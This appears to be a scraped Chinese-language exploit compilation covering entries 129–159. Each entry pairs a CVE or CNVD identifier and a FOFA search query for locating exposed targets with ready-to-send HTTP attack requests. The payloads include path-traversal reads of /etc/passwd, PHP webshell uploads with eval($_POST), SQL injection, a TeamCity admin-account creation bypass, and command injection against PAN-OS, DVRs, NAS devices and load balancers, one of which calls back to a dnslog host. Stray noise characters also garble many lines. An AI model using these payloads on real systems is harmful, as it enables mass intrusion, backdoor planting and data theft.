' K" Y5 P. l4 w129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
% b4 Z  `  @$ fFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
, K; a# c. }/ ]8 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
* \% e- }: H$ R+ u: p9 d3 b0 YAccept: */*
: Z$ R7 F- R7 R* f$ K, I2 _' [: \5 [Accept-Encoding: gzip, deflate
0 x- g% `3 Z* S5 z+ PConnection: close

; ^& J$ ]- W% ^+ v, [% {9 s
. a3 c+ J7 ?; r. q第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
- k( i) T2 s+ h; K0 q6 V- mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
5 x) `; `) h; p  _- [Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
# w. D; y4 v* G) I/ huuid: 85f60018-a654-4410-a783-f81cbd5000b9

2 G# A! U: U3 U' O9 b. @4 H
2 g1 c1 O! T0 S  j130. Laykefu客服系统任意文件上传
6 o; |' x, ^8 |4 l- V9 O9 ^$ SFOFA：icon_hash="-334624619"
- Z0 a) O  X) @! s! Z; zPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
' u, A4 Y9 N$ K' s: q4 B! s( |7 P# HUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* w  `$ I- }$ k- @Cookie: user_name=1; user_id=3
Connection: close

/ I# l$ P/ u# \! ?, I( E------WebKitFormBoundary3OCVBiwBVsNuB2kR
7 R" k& s% y8 s- MContent-Disposition: form-data; name="file"; filename="1.php"
9 t. X9 L) b( k- U: U6 W9 H& X  GContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

3 z9 h) q' k2 E7 k
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

# _8 S6 c. k! k& I, j) w132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
3 f- |  E: P- p; X5 rPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
9 H; D0 r2 j8 r, BHost: 192.168.40.130:8111
' I  U, b0 }' B4 f/ [8 {0 F, EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ M% n0 d7 R9 `9 c0 b2 ]9 uAccept: */*
Content-Type: application/json
$ b  ^" p1 O' t; }* K) U# q' QAccept-Encoding: gzip, deflate
( q( H* M4 u, K3 Q% r& ^7 Y  t" ]
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
" x% F$ I5 [& i

CVE-2024-27199
' F' ]+ x# [& o/res/../admin/diagnostic.jsp
- w) U, ?+ L. k0 T9 I% A: S( u/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
( W: e' E; O. S8 d4 C0 b

CVE-2024-27198-RCE.py
% v8 W) j$ h8 i0 I) s
2 C: \7 @' u0 S$ e7 h133. H5 云商城 file.php 文件上传
2 j: C8 H: {- ^9 ~) L/ |: BFOFA：body="/public/qbsp.php"
0 M$ O. H0 @! s( }0 \& o: lPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
, _. H! i3 N0 p2 s0 w7 D0 oHost: your-ip
& K& S' @  j7 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
; q. \1 U( n+ h
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
) S" n+ q3 `8 ^4 u4 DContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
% \2 _7 y& U$ K6 r% N+ u5 G
- a$ E8 j% c/ a& F. c' T: G3 D/ Q: O- s
: o) }. k. {8 U  Y: D+ C1 N
' r1 A+ q' Y0 c+ ?" g+ @4 s1 k134. 网康NS-ASG应用安全网关index.php sql注入
4 J) Y1 g2 M; U# q( xCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
& H; y" d- r8 ]/ u8 JFOFA：app="网康科技-NS-ASG安全网关"
4 O/ z3 @8 u3 |% }POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
( {6 B; w4 q: x' p: ]Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
4 S" \  ]& n) T! L# FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
8 V. Y* g) t4 m4 x1 GAccept: */*
7 O4 v8 }  K+ zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
. _5 [+ q1 A7 e: {Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
9 n$ I" {2 f, q: W) \0 gTe: trailers
6 d$ v8 S+ i' g& c" o4 s7 uConnection: close
8 @+ m( j; {5 _) m; e: e, sContent-Type: application/x-www-form-urlencoded
3 j" S  ?9 q! O* E, QContent-Length: 263
, e( Y- v9 g- {. _& h  X
, F/ A# }9 N% B7 [) Ujsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

5 a9 v7 D  Y! {# M' B; T
8 p/ M# R1 o' C  o: y  a' a135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
) h% l5 T3 s; G, Q% ^Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
3 p! C7 E  a) _  f+ k' B' }GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
) t3 j/ W: a6 zAccept-Language: zh-CN,zh;q=0.9
6 C( o8 z4 S% F9 I6 p2 TConnection: close

2 r9 G8 d: Y+ f/ o# N
136. NextChat cors SSRF
CVE-2023-49785
! r- Y: F( E$ w6 e1 [; P! e  kFOFA：title="NextChat"
5 Z9 q5 @1 b; ^# k' GGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
' ?* O; n7 o& o! r1 t: S& {Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
/ R) D7 z1 e8 g$ U: B6 o
1 i$ A0 o9 ?# `: X5 b. V9 v
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
* }1 T  G6 q; N" n, k6 {FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 B4 P1 \+ z. }8 M- m# U" d0 N' rGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
: o8 t1 m! `4 h: N% i* ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" F! p# G9 e4 @, }' W" sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
0 C, E, i4 ^' g' R' w# p8 z4 oCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
1 H" U. `% {2 J& Y" j4 `. H) A- T8 gUpgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
4 z1 u* R  F; I/ CCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
' ]$ z& F, B3 U2 kGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
9 m8 H. `0 Z5 U6 O0 d- kHost: x.x.x.x
  B7 i- k8 n+ `( C& U# C( w; o% SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
; P$ A' s' z' I+ VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 y: E' A5 l3 pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
) ?% |3 y4 Q& P1 F$ }* ?9 ?Upgrade-Insecure-Requests: 1

5 [) c" y- @+ b6 N6 f. {! Q
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
8 g6 I+ K$ i% e/ ECVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
0 V1 W$ z  P( Z' s6 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ I# y+ o( J2 }! C2 }; @! LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 k0 J& s: x7 B, |! n9 iAccept-Encoding: gzip, deflate, br
5 A( ?* w0 O& S$ {5 t; r$ e& iConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
! K+ }. L' a; L  \

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
5 x  D  T7 Z3 U. f; [GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 ^; {4 k- y  u3 F  yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) [5 H" X+ q, }( f: a7 CAccept-Encoding: gzip, deflate, br
* M2 r4 T5 B9 ^5 K7 uConnection: close
Cookie: authcode=h8g9
# C) j2 @$ _' F  k; b. d* s5 y9 J: kUpgrade-Insecure-Requests: 1

6 D) l! T8 Y/ |' q/ O9 t
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
/ L$ s3 z  P/ Y" \) T5 HPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
$ _+ P1 y. {* P' t# R1 h/ w8 M* qUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
5 Z. B6 e9 r1 O& x+ @: y" _
9 \" l1 F9 Q$ ~3 F. @2 x- g1 d
3 h0 @; o% D- o, ^0 _( L8 j" u+ Fdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
0 k1 t' O3 X0 T+ X
2 A* X+ K* w7 f" D+ y! [0 l7 G
142. CMSV6车辆监控平台系统中存在弱密码
8 q  j# [7 r9 u7 zCVE-2024-29666
FOFA：body="/808gps/"
admin/admin
1 m# s- `6 f3 E; A143. Netis WF2780 v2.1.40144 远程命令执行
) r9 c- \, a" L$ l. \! L+ U. MCVE-2024-25850
FOFA：title='AP setup' && header='netis'
7 J# ]! M2 H: f( L3 EPAYLOAD
2 c! C1 N! F& l7 U: e6 {& n
  c, G" c! q% I  H144. D-Link nas_sharing.cgi 命令注入
5 M: M& y& [% ~5 B  jFOFA：app="D_Link-DNS-ShareCenter"
  d  v9 [# W  f" \* x) Zsystem参数用于传要执行的命令
2 i2 H! z; e# c' XGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
, e0 t( }* J& J/ \: M: o, e9 VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
" u9 s5 Z3 {% H) o. c9 D# t: ~Accept: */*
: k- u. L' v2 ^7 E3 A+ Z, |0 Z& SAccept-Language: en
% Z- x- v: e: n4 CAccept-Encoding: gzip

, b4 m. [$ H( d' e1 a- l0 d4 A8 o& ^
( I  Z$ ^8 k7 |9 d8 s145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
0 Z, z! ]' Z5 o" t. Z: l8 Y! O  xFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
2 {( c7 H6 E9 i. K. iConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
/ Z8 L! O, M' c# y+ |

1 L9 I7 K) }' ]! _& P" h/ r146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
; W6 {! r3 T! uFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
2 m: n8 B9 `' Q6 T  wAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
3 [) j  q' k$ E; y3 h( J

, h) m- a  D3 H: D147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
+ r# F# g6 [2 }% \! \* lCVE-2024-32399
4 j/ e: P3 ]: c8 U5 _/ aFOFA：body="RaidenMAILD"
5 U: L( M4 o' K. JGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
( @5 l3 g. y& @" m& w/ oCache-Control: max-age=0
: J4 t' V' k5 V7 M8 bConnection: close

  {" d$ @, m# N5 y! Z
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
4 i4 t7 X4 [: X& ZPAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
8 N; O0 m1 J- Q% R6 K4 }! e5 OFOFA：title="AJ-Report"
( B: K& R7 w' E; Z9 h
  T$ v" v/ Z9 `5 I7 v0 [5 n$ I. `8 qPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
* c  M) E) v+ A" \$ u+ AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ Y) i, d/ F& b/ uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 I+ g' X# I) F; ?Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
' U% C0 k( o& _$ M: iContent-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
; J2 m. B. g7 i) U( E- x9 |
" b4 {& k# |2 x( X150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
$ X# M' u8 T3 s" R3 P* T* O8 p) hPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
( s0 ]. O( d7 YAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
& B* `, x2 O$ w  H9 |Content-Length: 339

1 n+ @& {5 ^" T{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
7 a! ~+ [$ D  P* A1 {
4 Q" P, ^, X4 _  w/ W! t
- F) y5 j' D3 q151. AJ-Report 1.4.1 pageList sql注入
  R, R: L- q. zFOFA：title="AJ-Report"
2 g* L- n/ w/ r# H1 VGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
; r$ e& f0 y) I* h1 `) c4 M8 q, b' iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' u0 o, _' J* s9 Q1 w  S2 Z7 @Connection: close
Accept-Encoding: gzip
8 l2 }. G' Q/ q# P

152. Progress Kemp LoadMaster 远程命令执行
0 v9 R) m) H4 VCVE-2024-1212
( x: ^. T7 D6 \1 fLoadMaster <= 7.2.59.2 (GA)
$ ^1 `' C# ]7 e  j6 eLoadMaster<=7.2.54.8 (LTSF)
" ]6 [4 k$ `1 c" c3 ULoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
" K$ d( ~3 j( [9 ]# DGET /access/set?param=enableapi&value=1 HTTP/1.1
5 \" y7 ?  @' s+ vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
0 g: {* L5 p, s$ \3 O! xConnection: close
& C" a! y. n0 H, o5 m. I8 _% rAccept: */*
Accept-Language: en
! L. z( Y" T1 z$ gAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
9 X1 x1 |. Y- @6 r. w( w% O8 F! uAccept-Encoding: gzip


2 o* Q9 S% R* W$ G153. gradio任意文件读取
( T  C6 D& }( z% E+ H) o% UCVE-2024-1561FOFA：body="__gradio_mode__"
+ x3 P- P0 n9 t第一步，请求/config文件获取componets的id
http://x.x.x.x/config
; K* `( o( {4 H9 e* {& u

第二步，将/etc/passwd的内容写入到一个临时文件
+ p5 \( V* F# o8 Q0 {POST /component_server HTTP/1.1
Host: x.x.x.x
& _# }$ W3 ~4 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
) K4 B$ c7 G2 ?Content-Length: 115
  Y0 {! u- x* GContent-Type: application/json
0 h3 i1 q5 I/ w' Y7 ]7 r: fAccept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
: T6 q+ a2 O& C1 {4 U3 K* c

第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

/ m2 ]0 j* S. [. D$ F# Z9 o
" ~' v. ?, d1 H$ u- M154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
( F" e! D! T* E& \# c- b+ P1 P% R& ^POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
: Y4 o0 m( F- x; d* ^Content-Type: application/json
5 N# {% b! a: GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
% }2 t4 t: \% D& O2 v  M; @# z$ [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
, o' P- S# `  ^7 w: J. qConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

$ k8 \8 M7 ?4 w5 H. H# }8 \0 u
1 C4 e4 a  n7 G; r8 o0 |, y3 v155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
4 u2 r0 ^+ i* K& x/ M- V7 jFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
& g3 h5 F7 e& \5 |1 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
1 B; o6 Q7 C4 g5 HContent-Length: 232
# _' Q+ m' P4 a, J6 M- K6 i. G" c6 aAccept: application/json, text/javascript, */*; q=0.01
$ i0 Z0 x( w; }& y/ k8 UAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 P$ z* V( ]6 O3 P1 DContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

, F7 j0 e3 s0 [6 L/ n" H* D( z-----------------------------qttl7vemrsold314zg0f
6 p0 @1 p  p7 Q6 jContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

2 O. j0 p/ p5 j: \3 C6 W% j, H<?php phpinfo();unlink(__FILE__);?>
! H; q' g# U" e! l6 e9 N/ L-----------------------------qttl7vemrsold314zg0f--
( p( q. x' z2 T! D( {4 I* ~

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
7 E; q: X1 d* d' U: O7 HFOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
* A  D" y- m( q; A9 v5 b2 fHost: x.x.x.x
0 N$ ~- u3 X& TUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip


5 P  h: z" z4 z4 l6 J* W" s! t157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
* J4 N  o+ x! Y  h3 `* x; ~Host: x.x.x.x
/ ]' y+ {# A. ~! y4 I/ s6 w7 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
  B: K2 w# h" W' IContent-Length: 709
- w% f1 n; ^4 p, k, t/ mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: u0 y; b+ G5 _# E2 R; n- lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
  i, n$ n/ C8 U. o, y/ n; ?Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
9 n$ C5 [, v- s3 _) J, M6 TContent-Type: application/octet-stream
4 L  b- m* M4 @8 @/ h! b
nyhelxrutzwhrsvsrafb
- G8 a# P0 K5 s4 ~$ \2 Y2 U------WebKitFormBoundary1imovELzPsfzp5dN
, Z* y: H; D/ `Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
( U: E2 x. E2 t& X: WContent-Disposition: form-data; name="form"

null
! U1 b, Z9 }9 c------WebKitFormBoundary1imovELzPsfzp5dN
: H$ b; s* ]8 }1 L6 Z, NContent-Disposition: form-data; name="field"
  V, b2 r3 K  T4 J# Z/ Z
$ \5 k5 {4 k! c9 p+ o) unull
# g5 U. O1 I$ W8 x: R; F0 m------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
0 u( T( p- v4 x3 |, ~, K
8 h8 l6 q$ D% N- _null
------WebKitFormBoundary1imovELzPsfzp5dN
4 `2 z* O8 Y$ z5 W6 [/ ^' c7 P6 y1 mContent-Disposition: form-data; name="filefolder"

null
( s# ]& y: T8 \------WebKitFormBoundary1imovELzPsfzp5dN--
8 i! s! I4 l$ j$ J4 I' j( A

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
/ O2 x0 a8 @! B. n0 ^( g* s: n
0 Y) t, l5 H- F6 Y" [" M158. Mura-CMS-processAsyncObject存在SQL注入
; W3 b/ Y- g+ }( s' ~3 _! ?CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
/ I' `2 ^% {! [" e* JHost: {{Hostname}}
) k: L5 G8 y# G$ R! DContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
/ Q( ~  h$ Q: [6 d6 l& r
" M0 W# I9 Y  p: Y7 z5 {: M0 U  @2 i
& O  R; l# G$ u( r3 Y; @159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
8 ^' Q' a2 I2 a( G+ J, `POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
" S  @8 i/ W  XContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
: S% s! }$ Y& ^! k2 w4 qContent-Type: text/xml; charset=utf-8
